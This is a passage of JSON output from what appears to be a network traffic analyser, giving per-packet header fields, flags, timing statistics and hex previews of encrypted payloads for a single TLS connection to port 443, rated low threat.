19:31:41.456\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12208, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63946, \"dst_port\": 443, \"tcp_seq\": 1308797174, \"tcp_ack\": 553011998, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 3, \"timestamp\": 1782655301.457061, \"timestamp_iso\": \"2026-06-28T19:31:41.457061\", \"timestamp_human\": \"2026-06-28 19:31:41.457\", \"size\": 240, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12209, \"ip_len\": 226, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63946, \"dst_port\": 443, \"tcp_seq\": 1308797174, \"tcp_ack\": 553011998, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 6, \"timestamp\": 1782655301.82291, \"timestamp_iso\": \"2026-06-28T19:31:41.822910\", \"timestamp_human\": \"2026-06-28 19:31:41.822\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12210, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63946, \"dst_port\": 443, \"tcp_seq\": 1308797360, \"tcp_ack\": 553014926, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 8, \"timestamp\": 1782655301.874956, \"timestamp_iso\": \"2026-06-28T19:31:41.874956\", \"timestamp_human\": \"2026-06-28 19:31:41.874\", \"size\": 180, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12211, \"ip_len\": 166, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63946, \"dst_port\": 443, \"tcp_seq\": 1308797360, \"tcp_ack\": 553015702, \"tcp_window\": 8209, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 66, \"payload_preview\": \"410433b34f4f763df34b8ec2b9747f52ed42685a9391f655e85985c805c9a1cd221a94321f54c39360be2624f3d19a1323b3c42b174faa114a6b1670388a089135a3\", \"payload_ascii\": \"A\\u00043OOv=Kt\\u007fRBhZUY\\u0005\\\"\\u001a2\\u001fT`&$\\u0013#+\\u0017O\\u0011Jk\\u0016p8\\b5\"}, {\"packet_number\": 11, \"timestamp\": 1782655302.457232, \"timestamp_iso\": \"2026-06-28T19:31:42.457232\", \"timestamp_human\": \"2026-06-28 19:31:42.457\", \"size\": 549, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12212, \"ip_len\": 535, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63946, \"dst_port\": 443, \"tcp_seq\": 1308797486, \"tcp_ack\": 553015976, \"tcp_window\": 8208, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 14, \"timestamp\": 1782655302.789831, \"timestamp_iso\": \"2026-06-28T19:31:42.789831\", \"timestamp_human\": \"2026-06-28 19:31:42.789\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12213, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63946, \"dst_port\": 443, \"tcp_seq\": 1308797981, \"tcp_ack\": 553018416, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 16, \"timestamp\": 1782655302.819548, \"timestamp_iso\": \"2026-06-28T19:31:42.819548\", \"timestamp_human\": \"2026-06-28 19:31:42.819\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12214, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63946, \"dst_port\": 443, \"tcp_seq\": 1308797981, \"tcp_ack\": 553021832, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 18, \"timestamp\": 1782655302.849441, \"timestamp_iso\": \"2026-06-28T19:31:42.849441\", \"timestamp_human\": \"2026-06-28 19:31:42.849\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12215, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63946, \"dst_port\": 443, \"tcp_seq\": 1308797981, \"tcp_ack\": 553024073, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 19, \"timestamp\": 1782655303.20488, \"timestamp_iso\": \"2026-06-28T19:31:43.204880\", \"timestamp_human\": \"2026-06-28 19:31:43.204\", \"size\": 436, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12216, \"ip_len\": 422, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63946, \"dst_port\": 443, \"tcp_seq\": 1308797981, \"tcp_ack\": 553024073, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 27, \"timestamp\": 1782655304.012618, \"timestamp_iso\": \"2026-06-28T19:31:44.012618\", \"timestamp_human\": \"2026-06-28 19:31:44.012\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12217, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63946, \"dst_port\": 443, \"tcp_seq\": 1308798363, \"tcp_ack\": 553024706, \"tcp_window\": 8210, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 10, \"PSH\": 4}, \"packet_sizes\": [66, 54, 240, 54, 180, 549, 54, 54, 54, 436, 54], \"inter_packet_intervals\": [0.0002391338348388672, 0.0006330013275146484, 0.36584901809692383, 0.05204582214355469, 0.5822761058807373, 0.3325989246368408, 0.029716968536376953, 0.029893159866333008, 0.3554389476776123, 0.8077380657196045], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 2.556429147720337, \"avg_packet_size\": 163.1818181818182, \"packets_per_second\": 4.302876928863493, \"bytes_per_second\": 702.1512806645427, \"min_packet_size\": 54, \"max_packet_size\": 549, \"median_packet_size\": 54, \"avg_interval\": 0.2556429147720337, \"min_interval\": 0.0002391338348388672, \"max_interval\": 0.8077380657196045}, {\"source\": \"184.30.157.69\", \"target\": \"10.152.152.11\", \"packet_count\": 12, \"total_bytes\": 13368, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"src_ports\": [443], \"dst_ports\": [63946], \"first_packet\": 1782655301.456194, \"last_packet\": 1782655303.96552, \"packets\": [{\"packet_number\": 1, \"timestamp\": 1782655301.456194, \"timestamp_iso\": \"2026-06-28T19:31:41.456194\", \"timestamp_human\": \"2026-06-28 19:31:41.456\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63946, \"tcp_seq\": 553011997, \"tcp_ack\": 1308797174, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 4, \"timestamp\": 1782655301.457067, \"timestamp_iso\": \"2026-06-28T19:31:41.457067\", \"timestamp_human\": \"2026-06-28 19:31:41.457\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 41070, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63946, \"tcp_seq\": 553011998, \"tcp_ack\": 1308797360, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 5, \"timestamp\": 1782655301.822713, \"timestamp_iso\": \"2026-06-28T19:31:41.822713\", \"timestamp_human\": \"2026-06-28 19:31:41.822\", \"size\": 2982, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 41071, \"ip_len\": 2968, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63946, \"tcp_seq\": 553011998, \"tcp_ack\": 1308797360, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 7, \"timestamp\": 1782655301.87062, \"timestamp_iso\": \"2026-06-28T19:31:41.870620\", \"timestamp_human\": \"2026-06-28 19:31:41.870\", \"size\": 830, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 41074, \"ip_len\": 816, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63946, \"tcp_seq\": 553014926, \"tcp_ack\": 1308797360, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 776, \"payload_preview\": \"1ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f079816030301df160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303632363139323033335a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100d1db5a6166fdff6cdac0795531b6d248000180f32303236303632363139303330305aa011180f32303236303730333138303330305a300d06092a864886f70d01010b05000382010100816be7a5a5014d564992bd9e34aaf312c139f465e1eb75a2f1ad8b2b4d0948749e0474e994eda0c9647cdbd58453f49d1e2745a8da52d45a55b30ff86d27e13c8f04dffa8bb4a4fabf400979e0506101610b3dcc064b53c7c8d24c8a05f5faa2b70424886e5482504cc44172e9fa9b81e8a9221b07834b0a1662e99633fadccecdab07a86a5b1dc9fe00605590a40e87cee668e8ff5e2aa7f0ba6b18cc4a271283ca9804d073dad9851b66c77a81314e9ab91e7777079bfba87c448871362690228492aa91e1d44640ada86aa65d6d52fdc42e8457691e1b80e86e685086d876c66af7efa87bd5fd56e4792a8fd37a196d289c50b47132444ee12e2710fa021c16030300940c00009003001741041e26084fc46f2773b9a7601421c14a7424bf9781f31ad33c6e114480df327047600f1277b87bbb96d5b5ec0600b274594749d3a0b9a6b4be8811e1ccbd5db3a20403004730450220336cf0b9c968ff1adacef5d5f8ee882c0cfbad8909eca607498e8f763c857c80022100de30a8604c895053af44d35a2439cf83a1e7e492a90eb7e25766a05f86aed28616030300040e000000\", \"payload_ascii\": \"\\u001af\\tmn/\\u0001\\u0014\\\\Vd\\u0001}8S]Fm\\\\'~R7|*UZ8r\\u0010\\u0000\\u0013Ls75)iv\\u0018{g\\u0003\\u0004Z!\\u0016?Y#\\r$*%Ltm@\\u0007\\u0016\\u0003\\u0003\\u0001\\u0016\\u0000\\u0001\\u0001\\u0000\\u00010\\u0001\\n\\u0001\\u0000\\u00010\\u0001\\u0006\\t+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0001\\u0004\\u00010\\u00010\\u0016\\u0004\\u0014tf7)7\\u0003\\u001d\\u0017\\u0018\\u000f20260626192033Z0s0q0I0\\t\\u0006\\u0005+\\u000e\\u0003\\u0002\\u001a\\u0005\\u0000\\u0004\\u0014[X\\u001e:ioH\\u0004\\u0014tf7)7\\u0003\\u001d\\u0017\\u0002\\u0010\\r\\u001d\\u0016o\\u0007S\\u001bm$\\u0000\\u0018\\u000f20260626190300Z\\u0011\\u0018\\u000f20260703180300Z0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000k\\u0001MVI4\\u00129eu+M\\tHt\\u0004td|S\\u001e'ERZU\\u000fm'<\\u0004@\\tyPa\\u0001a\\u000b=\\u0006KSL\\u0005\\u0004$nTPLAr\\\"\\u001b\\u0007K\\n\\u0016b3\\u0007j[\\u001d\\u0000`U\\u000eh^*k\\u0018J'\\u0012\\u0004s\\u001bfz1N\\u001eww\\u0007|Dq6&\\\"F@j]mR.Wi\\u001e\\u001bnhPvj{Vy*z\\u0019m(Pq2DN.'\\u0010\\u0002\\u001c\\u0016\\u0003\\u0003\\u0000\\f\\u0000\\u0000\\u0003\\u0000\\u0017A\\u0004\\u001e&\\bOo's`\\u0014!Jt$\\u001a<n\\u0011D2pG`\\u000f\\u0012w{\\u0006\\u0000tYGI\\u0011]\\u0004\\u0003\\u0000G0E\\u0002 3lh\\u001a,\\f\\t\\u0007Iv<|\\u0002!\\u00000`LPSDZ$9\\u000eWf_\\u0016\\u0003\\u0003\\u0000\\u0004\\u000e\\u0000\\u0000\\u0000\"}, {\"packet_number\": 9, \"timestamp\": 1782655301.874997, \"timestamp_iso\": \"2026-06-28T19:31:41.874997\", \"timestamp_human\": \"2026-06-28 19:31:41.874\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 41075, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63946, \"tcp_seq\": 553015702, \"tcp_ack\": 1308797486, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 10, \"timestamp\": 1782655302.447482, \"timestamp_iso\": \"2026-06-28T19:31:42.447482\", \"timestamp_human\": \"2026-06-28 19:31:42.447\", \"size\": 328, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 41076, \"ip_len\": 314, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63946, \"tcp_seq\": 553015702, \"tcp_ack\": 1308797486, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 40, \"payload_preview\": \"490b3b35e8f5091ec510761835a7f18c1bea58b7b368795276d8ef3ee4e14ee6a8a8a3f6a9c1d867\", \"payload_ascii\": \"I\\u000b;5\\t\\u001e\\u0010v\\u00185\\u001bXhyRv>Ng\"}, {\"packet_number\": 12, \"timestamp\": 1782655302.45725, \"timestamp_iso\": \"2026-06-28T19:31:42.457250\", \"timestamp_human\": \"2026-06-28 19:31:42.457\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 41077, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63946, \"tcp_seq\": 553015976, \"tcp_ack\": 1308797981, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 13, \"timestamp\": 1782655302.789684, \"timestamp_iso\": \"2026-06-28T19:31:42.789684\", \"timestamp_human\": \"2026-06-28 19:31:42.789\", \"size\": 2494, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 41078, \"ip_len\": 2480, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63946, \"tcp_seq\": 553015976, \"tcp_ack\": 1308797981, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 15, \"timestamp\": 1782655302.819337, \"timestamp_iso\": \"2026-06-28T19:31:42.819337\", \"timestamp_human\": \"2026-06-28 19:31:42.819\", \"size\": 3470, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 41080, \"ip_len\": 3456, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63946, \"tcp_seq\": 553018416, \"tcp_ack\": 1308797981, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 3416, \"payload_preview\": \"58e75ec1e49c6b7896f47fa0eef61c78bd41eb8301b242943dab03340adc0c8d50a2f279fb2c20188f21c783dc120b90d86a0ed144138e0fedea33a530c434b79cadec8061564661ca87f0142c5ffd24bfcb7666d9103f54ddcdda20645c141d7ab69532d2090f373c788cfa2443e92c6e6960e05c154f4c617e652a3e246bec0560fb6de99e16f3320f947b41c5d3bca8e7315ba38bf7f68369c57eab24e817529b71dd79a016bb548486ebb058be1d4c96cca5514a6042d4e5bf4bc1cd90e2f9d532665039dda766226334883aec1e08b0ec522b5c3f99bb7f099cbb3026aff9cfb7035ed57051686d7d7f8d2b1a466e87956cf54c4224f2ba98f24ed59f637e77e61543afa036fcbdbb6404ae73255591785f78f070dd406b6af69ceb1a8aad8b4b4abd928c580beb71ffac6d53d98699881f571c2c59644cf7a1dc9cdfbbdcc15f6ff191abaa8fdbe0be56f2c2aaa6be2c417b04716493b22f0b9868626b83915670598052fd0c2b104be50f374528d6d7d35160c6260a2a701c016b8da4d69ac171f7e748bd71e83ceb78d5df1bb26935566cb64fb7be664c436d1d1370f345b3cdbf28e417011799a3ec4c824fe2169e4cf4f974ef06c98cfcbf622010cc862147f76511c7f43fc57648a16bb947e736796b6dd6a5f2df239c7b41025e31b9c7a5aee1de61d1864d185182820b37e3de7447f416e6d27b4bfb0baed21f02c395045e40840e046d4cc0b792b45af6ca12057acb54a96e18e9c8cc607610ce1119b5503e4a4cf16867637f5b648263baf76cb6a7fc42c4a57f8ce81887b8c5ae18f779a3496ee6f796f2c4ebcefa11f1d37e036dcf9b8a8a6a30f6d9193b29224abdf68e5a4083a8efda3d66613ac0539f8d4ee8a6869cd058433f576520846fb8980c426cc750da82d548054bdb6c60f8845af9d8685088b1c73e6f44cbb3e6f271f7fba5ee1aa559f960c57a20d422c0c0bf56ccc32eb905e1d44d3f72d90d810706b6c55953461df583548a672d8fccc879f6034fc1a2dc273f983e7f6ff7f286bd68735a473584a42eb93e4c53c2773272aa05eb234fce5cd7c357683f1332a979c12c00104d050eb968150cb43a560a89549d74014402046f61656795d96808eb5b80521e8b558a79c78ab6e6f73934f8f64e403c492c25870ca09b1bb8531c146df68caef450184412d2b28d895886718dfbc4450ed2d66c75e4de0764f3af18bcbd659d5998924251e3f6fc07c8492bb0d3ac98509e110fbf239af402ddd3c14f38d5bc8f6f3461d272196f1a364990c269b44480e25cf2d0f5713b9708dc60f9c7c3d677eaabfde80fafa7492720b1bfc902522cfa6c44c314dccb570f1a033398f625b168a5edd8872ead558839e39e70c0163caef593acce7b789ab46cf9942f617502ca0c5b8367250e8703995304744b52543131997e9638650351c28ce0a38de66ee1695fc4c11935d934f831c29d37487a5f4ec3f94c378030ebdd903af583938c2815208c7649c80a2e006c828cacd619978ab01597fddeacbb984f9d89e1d09a8f0bb5743acf5ddbdc3c1e21129cd750f4c30896ba26759edc0be5d2dce2a1feb96ed52bf76f8d8a65e987da8deeeb35c538fc148195eb05793d85313f12d4796e34af10227398e5588cfa67644ffbed1e0568f3007540a8ebe9fdbbf8b042fa53551056b51c2c7968704690e4bcc2d4f0db801642e3748b273949660cc2bea5ecd685449686eabe6adfe01329041887757cc0a46f8f5c514bafe67140bdb3b56321f8ae878d7bd5b86465a93668e7e61fca615e3fd6cc1fa6f54647571b90cf000e3125872eb863faab0d14643be34d001ea0c7a3aaf02d5b49016fb6bec6de430e8a64c5c24bbe96a0195a7d77fbcd23b3f21ae96e647a7227ac27c48cca199e6e34ddd7891f9e35244c090740968ef633560b40288d1cde0c50f9d6e5cbb089faa9b60e169da3b7f387ae64974854c1390eaf3a1ecf29dc28a4683afd4468195f28ab1d22eddb4ee4ba52b36b87bd8d9340d4a8da8774929f304fefabfb04180eb3d97531fdb6cf50d4c9b79d99313eef4ee0460eaa10e3a84f0a83fb5598010e44511dce4744340cdff612815909460b9d8dc9907a113a38199c0b354e63331d79e6c1068ef97b912a0198a46a5b16b5c359a21617fb261051880f0a6a4535d5c3966a2cef6c891dc11784c4baa64c16ae8ace43910558aa23b68d25a0e79b4fa3388ad6af00cd3faed63c909faf97cd5ec679e6195ebea4e4332f61b1e217003b9858b871e9637dc216f81de1eaafd6ddd479fcdb6b9896d550536b5076536ca6017b7c178eeeaac5281ab3ff411f067f3b0c68b8fed45fd8a67a4669dcbd5d5e31afc432d1417c6a61162f4ae3112019d0cfbc8bade2556d62be17f83907c955004fbe498f94441d54755105f449f8d59022d52c57d6f6f0315c0c03e012382ee15b837c1269c3b9a31a66addad2f2f50e22615f1af6bb3c0634956b13e85db7360f039219b913dbae261c3ff47c366d2d0b33af8c2566c145f45a728253d2fcfdcfb8d62bfddb7556d5c4659ed175b1de6d25af9790b80450070d4dd139ed8618b53087399f7732f867b786bf671fb618645678628ee408910658077203de7f2590fa52942c005df74a894a90140da18cdbec6f68d5f744a4021336dc137c579943b18b60a26f5e829a2c29c3a435c8bf22fba79d7a50a926b6c26353e2dc9572dd53df22c81f92094d908c738b43f921b7a195456eb248c32f1203406a21f9435661137cc568dd1d21c52980be1efebfc9ceb42482a0743e7dbbf835a84b4e7fc190ead9fdf5aafc77b2b616b232fdbc86d1c1a09f94c5d1a22e4e32e3a76360d707a9007c1ad4ce8ec192ee84fc435f926bd937f67bd484158299d86a6c5ae9b69ef20133c9e63571ffd84298e37bef45ec2e4d690bc422a03a8bc67a17a998a0213eb9403fffe6d97f9d559261b603e57702405e094c90f3f56e5fee6ca216267d6d0310db041931284bed419c10355f28ecadbc61a7a50aa0b069f4e8d7ecf6c6beefd745905b5e68f92b6ad2ed3a21b5924735a5a7cec78495cbf3da6f0cb5c29b5f484828e5771f4890bd29ec63b88d6161b8e0be03689e2d548d0ab6a11702d2f11fcc85e722ea5f6793cce5dbf916b570f53bd1fa7b6c2137221899fdf79a3d880053ea479f7c9acf27a52a697ce662e57e8bfef35799ca1a916afb8c341c11d480c94f1654ced3de7ea47eb281637f96254988df1e049d906996a90a0d80eccfd6c2717bf04f29aa4fa337815cdde0a54373fc85881a72c902d24493d2985aec56e3a4ca0d5f02d26c26f5139fa1281626e67a4087f9929ffc7d75451895cb7af0076014d4fd8d606e4f5da2f1fd674a379e2aca276f57003781b8ac422e060feffbff48c302adb5232b512387c9247fb4fbe3e1e005a844eb92589b1f7ce17e386de27b7119746b19cf4a48cc50f875861bd9001da4e4c8058fd9a43a0f4cfd509e5c54b8e42dea9316e22a316c3390ef09848d816b1b58e32979ec08d4d6ef6ee34105edc9f2cf6e8410b4b8335c044421de28616826645adc0220aad01d0db5256555e0f35de3954108f0445c62f8cab4b6a4dc679b5285fc722494c427d767c818da49f048cf487bd70c7863a226c374c8680bcf9bdff75cdc53bc939ecc2e326f208c6c83c6407817e982610e463f74e5313c681dbac0589be21fcd217dcec6d046176661fab1ad209f7d8b83968b24606cd342ccadc5bfea4ae3a365b86d4ce9dfadc21f2826463d16dedcb4fc52e1a6c3c35be4af46d18451124fb4c413f71ce12f0ffd767a48b88a54a4a0ffb5ec135fa9d25823caa94bb4618d90fa3548465bf947424048a17721646a7360c11edac93b697af3285ec89701e9a58d3f451dae894ba2c866ccee09bc887416e7c483a8a9c8f095fe3c4f82743d9383ded73b47c976075d1d0f3e4ffb207d886d88779f98e932d494505a128e0e85768391cd59f8efa5ab11c55f852547434ce2d4f91d52cdc5770cf8acaadc13bd1aef3f859a6208290915f27a525e60bfc3cf8527e9c6cc63e66ab1f06e278ee4d6a2184852e6b4bec40efe27c575be976ae76bdc8c651c8fa35e6e72326ebec405c0ac379b413efd35644416a28653803e5c995a90ceb0310b5fe8f2cdd847b844c9f763ccc27f4268abe777e1c8cf9b8d3dd29aa3361545882f14a0b4e566173b33646a4e3e3f1f2f4acb329e25506c0460a061c30e2a0d215290064626010378c58c84db6f34acd9dee7c0f632179218a72be50ceb8c41fca74f60ce800f66215ee48888aa4c9e7998c42c9a84874eb2d085996a80a88da71cac93ee4551d3d63ceb472dc7a751ebc19895260e086fd0d87723d9dffbdb4846922ca3998